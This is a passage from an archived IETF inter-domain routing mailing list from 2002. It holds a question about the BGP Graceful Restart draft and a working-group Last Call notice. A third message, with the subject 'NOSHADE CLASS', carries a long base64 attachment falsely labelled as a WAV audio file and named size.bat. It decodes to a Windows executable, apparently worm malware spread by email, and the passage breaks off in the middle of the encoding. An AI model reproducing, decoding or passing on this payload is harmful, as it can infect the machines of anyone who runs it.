LAUNCH - Your Yahoo! Music Experience --0-1008043794-1021402023=:15784-- Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA07156 for ; Tue, 14 May 2002 14:17:22 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id D8A3191208; Tue, 14 May 2002 14:16:46 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 5DBFC9127B; Tue, 14 May 2002 14:16:38 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 9E1A191208 for ; Tue, 14 May 2002 14:16:36 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 62A8D5DDC4; Tue, 14 May 2002 14:16:34 -0400 (EDT) Delivered-To: idr@merit.edu Received: from hotmail.com (f52.law7.hotmail.com [216.33.237.52]) by segue.merit.edu (Postfix) with ESMTP id E15065DEA5 for ; Tue, 14 May 2002 14:16:33 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 14 May 2002 11:16:35 -0700 Received: from 63.104.212.252 by lw7fd.law7.hotmail.msn.com with HTTP; Tue, 14 May 2002 18:16:35 GMT X-Originating-IP: [63.104.212.252] From: "Kent Wong" To: idr@merit.edu Subject: Questions on draft-ietf-idr-restart-04.txt Date: Tue, 14 May 2002 18:16:35 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 14 May 2002 18:16:35.0787 (UTC) FILETIME=[7BAD99B0:01C1FB73] Sender: owner-idr@merit.edu Precedence: bulk Hi, I have a question on the Graceful Restart draft. On Section 6.1: "Once the session between the Restarting Speaker and the Receiving Speaker is re-established, the Restarting Speaker will receive and process BGP messages from its peers. However, it shall defer route selection for an address family until it receives the End-of-RIB marker from all its peers (excluding the ones with the "Restart State" bit set in the received capability and excluding the ones which do not advertise the graceful restart capability)." My question is that how does the Restarting Speaker knows how many peers it should be waiting for the End-of-RIB marker? The config file is not sufficient. For example, a Restarting Speaker A has in its config file Peer B and Peer C. When A restarts, from the config it assumes Peer B and C exist. But Peer B may never exist and therefore will never try to establish with A. Then A will be waiting for the End-of-RIB marker from B even though C has sent all its updates to A? Is the Route Selection Defer timer the only way to exit the graceful restart procedure for A in this case? Thanks. ---Kent _________________________________________________________________ Join the world’s largest e-mail service with MSN Hotmail. http://www.hotmail.com Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id NAA06652 for ; Tue, 14 May 2002 13:55:01 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 0EA5091201; Tue, 14 May 2002 13:54:18 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id C489C91208; Tue, 14 May 2002 13:54:17 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 95CC791201 for ; Tue, 14 May 2002 13:54:16 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 6273F5DEF0; Tue, 14 May 2002 13:54:14 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id D399A5DDC4 for ; Tue, 14 May 2002 13:54:13 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g4EHsFR25559; Tue, 14 May 2002 10:54:15 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205141754.g4EHsFR25559@merlot.juniper.net> To: idr@merit.edu Cc: mleech@nortelnetworks.com Subject: draft-ietf-idr-md5-keys-00.txt MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <46353.1021398855.1@juniper.net> Date: Tue, 14 May 2002 10:54:15 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Folks, This is to start the WG Last Call on advancing draft-ietf-idr-md5-keys-00.txt to an Informational RFC. The Last Call ends May 28. Yakov. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id LAA03097 for ; Tue, 14 May 2002 11:24:38 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 974A49126C; Tue, 14 May 2002 11:24:01 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 4295E9126D; Tue, 14 May 2002 11:24:01 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 221759126C for ; Tue, 14 May 2002 11:24:00 -0400 (EDT) Received: by segue.merit.edu (Postfix) id D10405DE9E; Tue, 14 May 2002 11:23:57 -0400 (EDT) Delivered-To: idr@merit.edu Received: from smtp4.yaonline.es (smtp4.yaonline.es [62.151.4.2]) by segue.merit.edu (Postfix) with ESMTP id 767FB5DE95 for ; Tue, 14 May 2002 11:23:55 -0400 (EDT) Received: from Ehbwefm (48.Red-80-34-22.pooles.rima-tde.net [80.34.22.48]) by smtp4.yaonline.es (Ya.com mail service) with SMTP id AF0EA27F59 for ; Tue, 14 May 2002 17:23:44 +0200 (CEST) From: randy To: idr@merit.edu Subject: NOSHADE CLASS MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=XK91v39xZ57582R Message-Id: <20020514152344.AF0EA27F59@smtp4.yaonline.es> Date: Tue, 14 May 2002 17:23:44 +0200 (CEST) Sender: owner-idr@merit.edu Precedence: bulk --XK91v39xZ57582R Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --XK91v39xZ57582R Content-Type: audio/x-wav; name=size.bat Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 